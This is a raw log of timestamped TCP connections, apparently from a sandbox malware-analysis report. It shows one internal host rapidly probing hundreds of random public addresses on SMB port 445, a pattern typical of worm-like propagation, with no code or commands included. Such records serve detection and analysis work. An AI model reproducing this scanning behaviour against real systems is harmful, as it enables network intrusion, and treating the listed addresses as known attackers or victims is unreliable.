Jul 20, 2022 19:34:36.342514038 CEST	63914	445	192.168.2.7	163.130.168.69
Jul 20, 2022 19:34:36.342925072 CEST	63917	445	192.168.2.7	196.146.64.23
Jul 20, 2022 19:34:36.344115019 CEST	63925	445	192.168.2.7	141.211.170.67
Jul 20, 2022 19:34:36.344204903 CEST	63926	445	192.168.2.7	159.210.7.211
Jul 20, 2022 19:34:36.345125914 CEST	63938	445	192.168.2.7	188.9.186.97
Jul 20, 2022 19:34:36.391573906 CEST	63943	445	192.168.2.7	51.158.189.146
Jul 20, 2022 19:34:36.391824007 CEST	63944	445	192.168.2.7	121.3.139.98
Jul 20, 2022 19:34:36.657708883 CEST	63947	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:36.674803019 CEST	445	63947	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:36.675004005 CEST	63947	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:36.675179958 CEST	63947	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:36.691768885 CEST	445	63947	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:36.692704916 CEST	445	63947	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:36.692725897 CEST	445	63947	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:36.692842007 CEST	63947	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:36.742351055 CEST	63947	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:36.742392063 CEST	63947	445	192.168.2.7	45.60.207.39
Jul 20, 2022 19:34:36.758976936 CEST	445	63947	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:36.759005070 CEST	445	63947	45.60.207.39	192.168.2.7
Jul 20, 2022 19:34:36.813990116 CEST	63948	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:36.830565929 CEST	445	63948	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:36.830705881 CEST	63948	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:36.830741882 CEST	63948	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:36.831244946 CEST	63949	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:36.848268986 CEST	445	63948	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:36.848294973 CEST	445	63949	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:36.848438978 CEST	63948	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:36.848491907 CEST	63949	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:37.470644951 CEST	63949	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:37.487529993 CEST	445	63949	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:37.487556934 CEST	445	63949	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:37.487608910 CEST	445	63949	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:37.487680912 CEST	63949	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:37.487734079 CEST	63949	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:37.487782001 CEST	63949	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:37.506346941 CEST	445	63949	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:37.532185078 CEST	63953	445	192.168.2.7	51.158.189.147
Jul 20, 2022 19:34:37.532363892 CEST	63954	445	192.168.2.7	121.3.139.99
Jul 20, 2022 19:34:37.532505035 CEST	63955	445	192.168.2.7	213.142.151.126
Jul 20, 2022 19:34:37.554959059 CEST	445	63953	51.158.189.147	192.168.2.7
Jul 20, 2022 19:34:37.580033064 CEST	63960	445	192.168.2.7	111.36.217.17
Jul 20, 2022 19:34:37.580281973 CEST	63963	445	192.168.2.7	11.106.133.135
Jul 20, 2022 19:34:37.580604076 CEST	63967	445	192.168.2.7	111.139.221.74
Jul 20, 2022 19:34:37.581213951 CEST	63975	445	192.168.2.7	115.162.191.0
Jul 20, 2022 19:34:37.581300020 CEST	63976	445	192.168.2.7	175.117.35.11
Jul 20, 2022 19:34:37.581700087 CEST	63981	445	192.168.2.7	173.28.179.46
Jul 20, 2022 19:34:37.582083941 CEST	63986	445	192.168.2.7	207.35.146.194
Jul 20, 2022 19:34:37.582462072 CEST	63991	445	192.168.2.7	139.128.91.203
Jul 20, 2022 19:34:37.582859993 CEST	63996	445	192.168.2.7	57.101.186.228
Jul 20, 2022 19:34:37.582942963 CEST	63997	445	192.168.2.7	150.2.137.232
Jul 20, 2022 19:34:37.583024025 CEST	63998	445	192.168.2.7	93.19.79.101
Jul 20, 2022 19:34:37.583266020 CEST	64001	445	192.168.2.7	53.64.17.170
Jul 20, 2022 19:34:37.584216118 CEST	64014	445	192.168.2.7	58.114.209.32
Jul 20, 2022 19:34:37.584606886 CEST	64019	445	192.168.2.7	139.124.204.215
Jul 20, 2022 19:34:37.585109949 CEST	64026	445	192.168.2.7	38.22.132.196
Jul 20, 2022 19:34:37.585181952 CEST	64027	445	192.168.2.7	47.45.25.25
Jul 20, 2022 19:34:37.585642099 CEST	64033	445	192.168.2.7	63.160.102.152
Jul 20, 2022 19:34:37.585876942 CEST	64036	445	192.168.2.7	203.94.108.48
Jul 20, 2022 19:34:37.586338043 CEST	64042	445	192.168.2.7	204.234.112.222
Jul 20, 2022 19:34:37.586929083 CEST	64050	445	192.168.2.7	173.172.95.189
Jul 20, 2022 19:34:37.587007046 CEST	64051	445	192.168.2.7	42.122.159.42
Jul 20, 2022 19:34:37.587244034 CEST	64054	445	192.168.2.7	62.129.77.227
Jul 20, 2022 19:34:37.587347984 CEST	64055	445	192.168.2.7	164.35.202.58
Jul 20, 2022 19:34:37.587655067 CEST	64059	445	192.168.2.7	94.164.6.254
Jul 20, 2022 19:34:37.587759018 CEST	64060	445	192.168.2.7	38.96.119.224
Jul 20, 2022 19:34:37.587987900 CEST	64063	445	192.168.2.7	82.152.55.180
Jul 20, 2022 19:34:37.588573933 CEST	64068	445	192.168.2.7	142.154.127.25
Jul 20, 2022 19:34:38.062705994 CEST	63953	445	192.168.2.7	51.158.189.147
Jul 20, 2022 19:34:38.088510036 CEST	445	63953	51.158.189.147	192.168.2.7
Jul 20, 2022 19:34:38.203633070 CEST	64076	445	192.168.2.7	131.153.221.102
Jul 20, 2022 19:34:38.364537001 CEST	445	64076	131.153.221.102	192.168.2.7
Jul 20, 2022 19:34:38.364701986 CEST	64076	445	192.168.2.7	131.153.221.102
Jul 20, 2022 19:34:38.364749908 CEST	64076	445	192.168.2.7	131.153.221.102
Jul 20, 2022 19:34:38.529772997 CEST	445	64076	131.153.221.102	192.168.2.7
Jul 20, 2022 19:34:38.597435951 CEST	64080	445	192.168.2.7	131.153.221.103
Jul 20, 2022 19:34:38.610153913 CEST	64081	445	192.168.2.7	121.3.139.100
Jul 20, 2022 19:34:38.610184908 CEST	64082	445	192.168.2.7	51.158.189.148
Jul 20, 2022 19:34:38.610371113 CEST	64083	445	192.168.2.7	213.142.151.127
Jul 20, 2022 19:34:38.704744101 CEST	64094	445	192.168.2.7	220.135.43.14
Jul 20, 2022 19:34:38.704941988 CEST	64099	445	192.168.2.7	196.74.34.35
Jul 20, 2022 19:34:38.705060959 CEST	64101	445	192.168.2.7	56.17.58.105
Jul 20, 2022 19:34:38.705286980 CEST	64104	445	192.168.2.7	88.54.87.25
Jul 20, 2022 19:34:38.705514908 CEST	64109	445	192.168.2.7	71.174.106.139
Jul 20, 2022 19:34:38.705996037 CEST	64119	445	192.168.2.7	71.133.75.50
Jul 20, 2022 19:34:38.706227064 CEST	64123	445	192.168.2.7	72.183.235.7
Jul 20, 2022 19:34:38.706453085 CEST	64124	445	192.168.2.7	148.141.24.20
Jul 20, 2022 19:34:38.706471920 CEST	64128	445	192.168.2.7	181.173.110.1
Jul 20, 2022 19:34:38.706588030 CEST	64129	445	192.168.2.7	213.197.162.129
Jul 20, 2022 19:34:38.706715107 CEST	64132	445	192.168.2.7	42.138.124.79
Jul 20, 2022 19:34:38.706890106 CEST	64120	445	192.168.2.7	9.76.118.232
Jul 20, 2022 19:34:38.707026005 CEST	64137	445	192.168.2.7	68.77.165.76
Jul 20, 2022 19:34:38.707463980 CEST	64146	445	192.168.2.7	70.32.7.96
Jul 20, 2022 19:34:38.707652092 CEST	64149	445	192.168.2.7	91.68.231.35
Jul 20, 2022 19:34:38.707664967 CEST	64150	445	192.168.2.7	204.120.106.130
Jul 20, 2022 19:34:38.708508968 CEST	64162	445	192.168.2.7	186.99.44.190
Jul 20, 2022 19:34:38.708667994 CEST	64164	445	192.168.2.7	161.105.48.124
Jul 20, 2022 19:34:38.709254980 CEST	64177	445	192.168.2.7	198.167.209.168
Jul 20, 2022 19:34:38.709259987 CEST	64176	445	192.168.2.7	92.130.25.110
Jul 20, 2022 19:34:38.709417105 CEST	64179	445	192.168.2.7	216.112.157.43
Jul 20, 2022 19:34:38.709454060 CEST	64180	445	192.168.2.7	147.138.151.157
Jul 20, 2022 19:34:38.709948063 CEST	64189	445	192.168.2.7	163.106.179.72
Jul 20, 2022 19:34:38.710092068 CEST	64192	445	192.168.2.7	77.87.213.162
Jul 20, 2022 19:34:38.710365057 CEST	64198	445	192.168.2.7	51.171.27.149
Jul 20, 2022 19:34:38.710488081 CEST	64200	445	192.168.2.7	70.228.148.210
Jul 20, 2022 19:34:38.710561037 CEST	64201	445	192.168.2.7	132.204.30.242
Jul 20, 2022 19:34:39.657159090 CEST	64205	445	192.168.2.7	131.153.221.104
Jul 20, 2022 19:34:39.688627005 CEST	64209	445	192.168.2.7	121.3.139.101
Jul 20, 2022 19:34:39.688638926 CEST	64208	445	192.168.2.7	213.142.151.128
Jul 20, 2022 19:34:39.688755035 CEST	64210	445	192.168.2.7	51.158.189.149
Jul 20, 2022 19:34:39.813837051 CEST	64217	445	192.168.2.7	90.0.6.3
Jul 20, 2022 19:34:39.813855886 CEST	64215	445	192.168.2.7	180.142.57.40
Jul 20, 2022 19:34:39.814089060 CEST	64221	445	192.168.2.7	109.238.192.121
Jul 20, 2022 19:34:39.814340115 CEST	64223	445	192.168.2.7	68.22.243.128
Jul 20, 2022 19:34:39.814651012 CEST	64214	445	192.168.2.7	213.246.215.137
Jul 20, 2022 19:34:39.814802885 CEST	64231	445	192.168.2.7	66.186.219.156
Jul 20, 2022 19:34:39.815299988 CEST	64239	445	192.168.2.7	196.41.38.4
Jul 20, 2022 19:34:39.815300941 CEST	64240	445	192.168.2.7	13.17.248.202
Jul 20, 2022 19:34:39.815721035 CEST	64241	445	192.168.2.7	14.140.71.13
Jul 20, 2022 19:34:39.816649914 CEST	64261	445	192.168.2.7	49.208.182.48
Jul 20, 2022 19:34:39.816679955 CEST	64249	445	192.168.2.7	60.235.183.19
Jul 20, 2022 19:34:39.816828012 CEST	64264	445	192.168.2.7	131.138.243.10
Jul 20, 2022 19:34:39.817186117 CEST	64270	445	192.168.2.7	197.73.55.100
Jul 20, 2022 19:34:39.817312956 CEST	64272	445	192.168.2.7	222.250.235.151
Jul 20, 2022 19:34:39.817640066 CEST	64277	445	192.168.2.7	73.147.233.243
Jul 20, 2022 19:34:39.817718983 CEST	64279	445	192.168.2.7	95.231.192.27
Jul 20, 2022 19:34:39.817822933 CEST	64281	445	192.168.2.7	89.228.40.128
Jul 20, 2022 19:34:39.817873001 CEST	64280	445	192.168.2.7	22.11.65.171
Jul 20, 2022 19:34:39.818459988 CEST	64293	445	192.168.2.7	149.164.241.120
Jul 20, 2022 19:34:39.818583012 CEST	64295	445	192.168.2.7	143.175.235.227
Jul 20, 2022 19:34:39.819104910 CEST	64306	445	192.168.2.7	77.112.170.69
Jul 20, 2022 19:34:39.819360018 CEST	64311	445	192.168.2.7	151.195.229.149
Jul 20, 2022 19:34:39.819894075 CEST	64322	445	192.168.2.7	91.40.22.33
Jul 20, 2022 19:34:39.820127010 CEST	64326	445	192.168.2.7	120.118.247.184
Jul 20, 2022 19:34:39.820228100 CEST	64328	445	192.168.2.7	135.116.189.177
Jul 20, 2022 19:34:39.823669910 CEST	64274	445	192.168.2.7	218.39.64.21
Jul 20, 2022 19:34:39.823730946 CEST	64313	445	192.168.2.7	91.189.187.138
Jul 20, 2022 19:34:39.997101068 CEST	445	64241	14.140.71.13	192.168.2.7
Jul 20, 2022 19:34:40.500721931 CEST	64332	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:40.503021002 CEST	64241	445	192.168.2.7	14.140.71.13
Jul 20, 2022 19:34:40.518690109 CEST	445	64332	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:40.518846035 CEST	64332	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:40.518908024 CEST	64332	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:40.535478115 CEST	445	64332	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:40.535515070 CEST	445	64332	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:40.535532951 CEST	445	64332	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:40.535654068 CEST	64332	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:40.535767078 CEST	64332	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:40.535875082 CEST	64332	445	192.168.2.7	45.60.207.40
Jul 20, 2022 19:34:40.552158117 CEST	445	64332	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:40.552469015 CEST	445	64332	45.60.207.40	192.168.2.7
Jul 20, 2022 19:34:40.599284887 CEST	64333	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.617712021 CEST	445	64333	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:40.618202925 CEST	64333	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.618231058 CEST	64333	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.618453979 CEST	64334	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.637341976 CEST	445	64334	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:40.637375116 CEST	445	64333	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:40.637625933 CEST	64334	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.637646914 CEST	64334	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.639671087 CEST	64333	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.655320883 CEST	445	64334	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:40.655356884 CEST	445	64334	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:40.655376911 CEST	445	64334	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:40.655492067 CEST	64334	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.655565977 CEST	64334	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.655642986 CEST	64334	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:40.672146082 CEST	445	64334	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:40.672272921 CEST	445	64334	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:40.684602022 CEST	445	64241	14.140.71.13	192.168.2.7
Jul 20, 2022 19:34:40.735647917 CEST	64335	445	192.168.2.7	131.153.221.105
Jul 20, 2022 19:34:40.767282963 CEST	64336	445	192.168.2.7	121.3.139.102
Jul 20, 2022 19:34:40.767430067 CEST	64337	445	192.168.2.7	51.158.189.150
Jul 20, 2022 19:34:40.767618895 CEST	64338	445	192.168.2.7	213.142.151.129
Jul 20, 2022 19:34:40.821688890 CEST	445	64338	213.142.151.129	192.168.2.7
Jul 20, 2022 19:34:40.821897030 CEST	64338	445	192.168.2.7	213.142.151.129
Jul 20, 2022 19:34:40.821964979 CEST	64338	445	192.168.2.7	213.142.151.129
Jul 20, 2022 19:34:40.822451115 CEST	64341	445	192.168.2.7	213.142.151.129
Jul 20, 2022 19:34:40.877170086 CEST	445	64338	213.142.151.129	192.168.2.7
Jul 20, 2022 19:34:40.879142046 CEST	445	64341	213.142.151.129	192.168.2.7
Jul 20, 2022 19:34:40.879363060 CEST	64341	445	192.168.2.7	213.142.151.129
Jul 20, 2022 19:34:40.879578114 CEST	64341	445	192.168.2.7	213.142.151.129
Jul 20, 2022 19:34:40.922960043 CEST	64346	445	192.168.2.7	29.98.19.80
Jul 20, 2022 19:34:40.923077106 CEST	64349	445	192.168.2.7	187.178.143.139
Jul 20, 2022 19:34:40.923130989 CEST	64348	445	192.168.2.7	185.80.30.38
Jul 20, 2022 19:34:40.923381090 CEST	64354	445	192.168.2.7	26.32.123.179
Jul 20, 2022 19:34:40.923419952 CEST	64355	445	192.168.2.7	131.240.36.246
Jul 20, 2022 19:34:40.923582077 CEST	64357	445	192.168.2.7	66.129.213.46
Jul 20, 2022 19:34:40.924079895 CEST	64368	445	192.168.2.7	166.174.109.149
Jul 20, 2022 19:34:40.924209118 CEST	64370	445	192.168.2.7	221.81.28.173
Jul 20, 2022 19:34:40.924288988 CEST	64356	445	192.168.2.7	153.158.63.81
Jul 20, 2022 19:34:40.924854994 CEST	64381	445	192.168.2.7	99.97.129.86
Jul 20, 2022 19:34:40.925204039 CEST	64388	445	192.168.2.7	71.197.73.11
Jul 20, 2022 19:34:40.925232887 CEST	64389	445	192.168.2.7	92.159.72.75
Jul 20, 2022 19:34:40.925707102 CEST	64399	445	192.168.2.7	85.179.6.108
Jul 20, 2022 19:34:40.925893068 CEST	64402	445	192.168.2.7	69.186.20.43
Jul 20, 2022 19:34:40.925988913 CEST	64404	445	192.168.2.7	81.161.4.45
Jul 20, 2022 19:34:40.926219940 CEST	64408	445	192.168.2.7	213.203.158.239
Jul 20, 2022 19:34:40.926301956 CEST	64410	445	192.168.2.7	26.36.22.177
Jul 20, 2022 19:34:40.926369905 CEST	64411	445	192.168.2.7	128.0.144.190
Jul 20, 2022 19:34:40.926537991 CEST	64415	445	192.168.2.7	162.179.174.227
Jul 20, 2022 19:34:40.926824093 CEST	64420	445	192.168.2.7	201.128.80.10
Jul 20, 2022 19:34:40.927542925 CEST	64435	445	192.168.2.7	72.234.4.88
Jul 20, 2022 19:34:40.927731037 CEST	64438	445	192.168.2.7	156.141.145.62
Jul 20, 2022 19:34:40.927854061 CEST	64439	445	192.168.2.7	89.218.98.232
Jul 20, 2022 19:34:40.927999020 CEST	64442	445	192.168.2.7	140.140.88.201
Jul 20, 2022 19:34:40.928347111 CEST	64449	445	192.168.2.7	141.168.178.167
Jul 20, 2022 19:34:40.928826094 CEST	64457	445	192.168.2.7	115.75.153.3
Jul 20, 2022 19:34:40.928966999 CEST	64460	445	192.168.2.7	215.212.174.80
Jul 20, 2022 19:34:40.936944008 CEST	445	64341	213.142.151.129	192.168.2.7
Jul 20, 2022 19:34:41.814827919 CEST	64463	445	192.168.2.7	131.153.221.106
Jul 20, 2022 19:34:41.845000982 CEST	64464	445	192.168.2.7	121.3.139.103
Jul 20, 2022 19:34:41.845000982 CEST	64465	445	192.168.2.7	51.158.189.151
Jul 20, 2022 19:34:42.048100948 CEST	64470	445	192.168.2.7	145.4.5.202
Jul 20, 2022 19:34:42.048876047 CEST	64475	445	192.168.2.7	130.32.245.74
Jul 20, 2022 19:34:42.048995972 CEST	64477	445	192.168.2.7	117.240.134.15
Jul 20, 2022 19:34:42.049273014 CEST	64484	445	192.168.2.7	167.119.234.213
Jul 20, 2022 19:34:42.049762964 CEST	64495	445	192.168.2.7	7.80.36.192
Jul 20, 2022 19:34:42.049813032 CEST	64496	445	192.168.2.7	13.72.248.103
Jul 20, 2022 19:34:42.050254107 CEST	64506	445	192.168.2.7	95.141.169.209
Jul 20, 2022 19:34:42.050309896 CEST	64507	445	192.168.2.7	216.184.148.113
Jul 20, 2022 19:34:42.050435066 CEST	64508	445	192.168.2.7	164.112.132.242
Jul 20, 2022 19:34:42.050569057 CEST	64510	445	192.168.2.7	216.73.124.73
Jul 20, 2022 19:34:42.050774097 CEST	64515	445	192.168.2.7	25.84.223.217
Jul 20, 2022 19:34:42.050812960 CEST	64516	445	192.168.2.7	71.210.159.159
Jul 20, 2022 19:34:42.050929070 CEST	64517	445	192.168.2.7	12.31.80.65
Jul 20, 2022 19:34:42.051156998 CEST	64521	445	192.168.2.7	53.14.214.145
Jul 20, 2022 19:34:42.051733971 CEST	64530	445	192.168.2.7	149.58.209.107
Jul 20, 2022 19:34:42.051928043 CEST	64533	445	192.168.2.7	49.60.207.23
Jul 20, 2022 19:34:42.052216053 CEST	64540	445	192.168.2.7	76.246.13.156
Jul 20, 2022 19:34:42.052428007 CEST	64544	445	192.168.2.7	196.134.73.220
Jul 20, 2022 19:34:42.053021908 CEST	64558	445	192.168.2.7	122.185.53.78
Jul 20, 2022 19:34:42.053220987 CEST	64561	445	192.168.2.7	139.165.227.60
Jul 20, 2022 19:34:42.053422928 CEST	64566	445	192.168.2.7	71.103.102.32
Jul 20, 2022 19:34:42.053443909 CEST	64567	445	192.168.2.7	48.205.53.10
Jul 20, 2022 19:34:42.053561926 CEST	64569	445	192.168.2.7	117.215.77.99
Jul 20, 2022 19:34:42.053710938 CEST	64572	445	192.168.2.7	143.122.59.107
Jul 20, 2022 19:34:42.053847075 CEST	64575	445	192.168.2.7	65.247.234.82
Jul 20, 2022 19:34:42.054049015 CEST	64578	445	192.168.2.7	169.53.12.187
Jul 20, 2022 19:34:42.054378986 CEST	64586	445	192.168.2.7	176.121.27.17
Jul 20, 2022 19:34:42.891628981 CEST	64589	445	192.168.2.7	131.153.221.107
Jul 20, 2022 19:34:42.923006058 CEST	64590	445	192.168.2.7	121.3.139.104
Jul 20, 2022 19:34:42.923356056 CEST	64591	445	192.168.2.7	51.158.189.152
Jul 20, 2022 19:34:43.173479080 CEST	64602	445	192.168.2.7	65.106.180.16
Jul 20, 2022 19:34:43.173695087 CEST	64595	445	192.168.2.7	138.61.202.129
Jul 20, 2022 19:34:43.173728943 CEST	64605	445	192.168.2.7	151.129.96.84
Jul 20, 2022 19:34:43.174124002 CEST	64612	445	192.168.2.7	52.175.111.87
Jul 20, 2022 19:34:43.174612045 CEST	64617	445	192.168.2.7	2.20.202.160
Jul 20, 2022 19:34:43.175365925 CEST	64630	445	192.168.2.7	181.202.155.125
Jul 20, 2022 19:34:43.175688982 CEST	64634	445	192.168.2.7	120.74.208.205
Jul 20, 2022 19:34:43.175853968 CEST	64637	445	192.168.2.7	193.36.79.70
Jul 20, 2022 19:34:43.175981998 CEST	64639	445	192.168.2.7	199.89.26.143
Jul 20, 2022 19:34:43.176183939 CEST	64640	445	192.168.2.7	172.193.165.51
Jul 20, 2022 19:34:43.176342964 CEST	64645	445	192.168.2.7	91.144.82.112
Jul 20, 2022 19:34:43.176719904 CEST	64647	445	192.168.2.7	185.53.117.15
Jul 20, 2022 19:34:43.176768064 CEST	64650	445	192.168.2.7	47.63.170.240
Jul 20, 2022 19:34:43.177442074 CEST	64658	445	192.168.2.7	156.170.162.244
Jul 20, 2022 19:34:43.177701950 CEST	64659	445	192.168.2.7	175.223.187.55
Jul 20, 2022 19:34:43.178108931 CEST	64663	445	192.168.2.7	123.201.6.204
Jul 20, 2022 19:34:43.178199053 CEST	64664	445	192.168.2.7	6.151.186.140
Jul 20, 2022 19:34:43.178389072 CEST	64667	445	192.168.2.7	172.130.47.15
Jul 20, 2022 19:34:43.178539991 CEST	64670	445	192.168.2.7	47.118.244.123
Jul 20, 2022 19:34:43.179059029 CEST	64680	445	192.168.2.7	187.120.85.228
Jul 20, 2022 19:34:43.179104090 CEST	64681	445	192.168.2.7	30.41.28.60
Jul 20, 2022 19:34:43.179774046 CEST	64694	445	192.168.2.7	109.68.117.108
Jul 20, 2022 19:34:43.180139065 CEST	64701	445	192.168.2.7	44.229.149.215
Jul 20, 2022 19:34:43.180269957 CEST	64703	445	192.168.2.7	170.203.136.196
Jul 20, 2022 19:34:43.180417061 CEST	64706	445	192.168.2.7	126.98.224.220
Jul 20, 2022 19:34:43.180593967 CEST	64707	445	192.168.2.7	118.68.32.230
Jul 20, 2022 19:34:43.180702925 CEST	64708	445	192.168.2.7	58.153.85.248
Jul 20, 2022 19:34:43.657356977 CEST	64715	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:43.674072981 CEST	445	64715	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:43.674186945 CEST	64715	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:43.674240112 CEST	64715	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:43.690805912 CEST	445	64715	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:43.690846920 CEST	445	64715	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:43.690875053 CEST	445	64715	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:43.690973043 CEST	64715	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:43.691055059 CEST	64715	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:43.691132069 CEST	64715	445	192.168.2.7	45.60.207.41
Jul 20, 2022 19:34:43.707669020 CEST	445	64715	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:43.707755089 CEST	445	64715	45.60.207.41	192.168.2.7
Jul 20, 2022 19:34:43.751363039 CEST	64716	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.768287897 CEST	445	64716	45.60.207.42	192.168.2.7
Jul 20, 2022 19:34:43.768397093 CEST	64716	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.768502951 CEST	64716	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.769496918 CEST	64717	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.785203934 CEST	445	64716	45.60.207.42	192.168.2.7
Jul 20, 2022 19:34:43.785300016 CEST	64716	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.786098003 CEST	445	64717	45.60.207.42	192.168.2.7
Jul 20, 2022 19:34:43.786204100 CEST	64717	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.786289930 CEST	64717	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.803589106 CEST	445	64717	45.60.207.42	192.168.2.7
Jul 20, 2022 19:34:43.803613901 CEST	445	64717	45.60.207.42	192.168.2.7
Jul 20, 2022 19:34:43.803628922 CEST	445	64717	45.60.207.42	192.168.2.7
Jul 20, 2022 19:34:43.803714037 CEST	64717	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.803741932 CEST	64717	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.803781986 CEST	64717	445	192.168.2.7	45.60.207.42
Jul 20, 2022 19:34:43.820657969 CEST	445	64717	45.60.207.42	192.168.2.7
Jul 20, 2022 19:34:43.820700884 CEST	445	64717	45.60.207.42	192.168.2.7
Jul 20, 2022 19:34:43.938604116 CEST	64718	445	192.168.2.7	213.142.151.129
Jul 20, 2022 19:34:43.970464945 CEST	64719	445	192.168.2.7	131.153.221.108
Jul 20, 2022 19:34:43.995384932 CEST	445	64718	213.142.151.129	192.168.2.7
Jul 20, 2022 19:34:43.995563984 CEST	64718	445	192.168.2.7	213.142.151.129
Jul 20, 2022 19:34:43.995595932 CEST	64718	445	192.168.2.7	213.142.151.129
Jul 20, 2022 19:34:44.001218081 CEST	64720	445	192.168.2.7	121.3.139.105
Jul 20, 2022 19:34:44.001429081 CEST	64721	445	192.168.2.7	51.158.189.153
Jul 20, 2022 19:34:44.052162886 CEST	445	64718	213.142.151.129	192.168.2.7
Jul 20, 2022 19:34:44.111330986 CEST	64722	445	192.168.2.7	213.142.151.130
Jul 20, 2022 19:34:44.250138044 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.250185966 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.250288010 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.251046896 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.251091003 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.251580954 CEST	64726	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.251602888 CEST	443	64726	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.251636028 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.251946926 CEST	64727	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:34:44.251960039 CEST	443	64727	20.190.159.68	192.168.2.7
Jul 20, 2022 19:34:44.298228979 CEST	64729	445	192.168.2.7	179.113.61.222
Jul 20, 2022 19:34:44.299540043 CEST	64740	445	192.168.2.7	201.186.9.224
Jul 20, 2022 19:34:44.300734997 CEST	64751	445	192.168.2.7	218.233.67.90
Jul 20, 2022 19:34:44.300801992 CEST	64752	445	192.168.2.7	10.47.44.7
Jul 20, 2022 19:34:44.301023006 CEST	64754	445	192.168.2.7	218.58.140.148
Jul 20, 2022 19:34:44.301990032 CEST	64768	445	192.168.2.7	173.172.103.125
Jul 20, 2022 19:34:44.302320957 CEST	64775	445	192.168.2.7	160.116.246.35
Jul 20, 2022 19:34:44.302545071 CEST	64780	445	192.168.2.7	166.50.1.134
Jul 20, 2022 19:34:44.302681923 CEST	64782	445	192.168.2.7	170.11.2.240
Jul 20, 2022 19:34:44.302855015 CEST	64783	445	192.168.2.7	37.128.236.41
Jul 20, 2022 19:34:44.303011894 CEST	64784	445	192.168.2.7	66.131.38.86
Jul 20, 2022 19:34:44.303459883 CEST	64791	445	192.168.2.7	187.87.72.81
Jul 20, 2022 19:34:44.304033995 CEST	64800	445	192.168.2.7	71.104.124.118
Jul 20, 2022 19:34:44.304152012 CEST	64802	445	192.168.2.7	152.133.167.33
Jul 20, 2022 19:34:44.304634094 CEST	64809	445	192.168.2.7	43.38.97.192
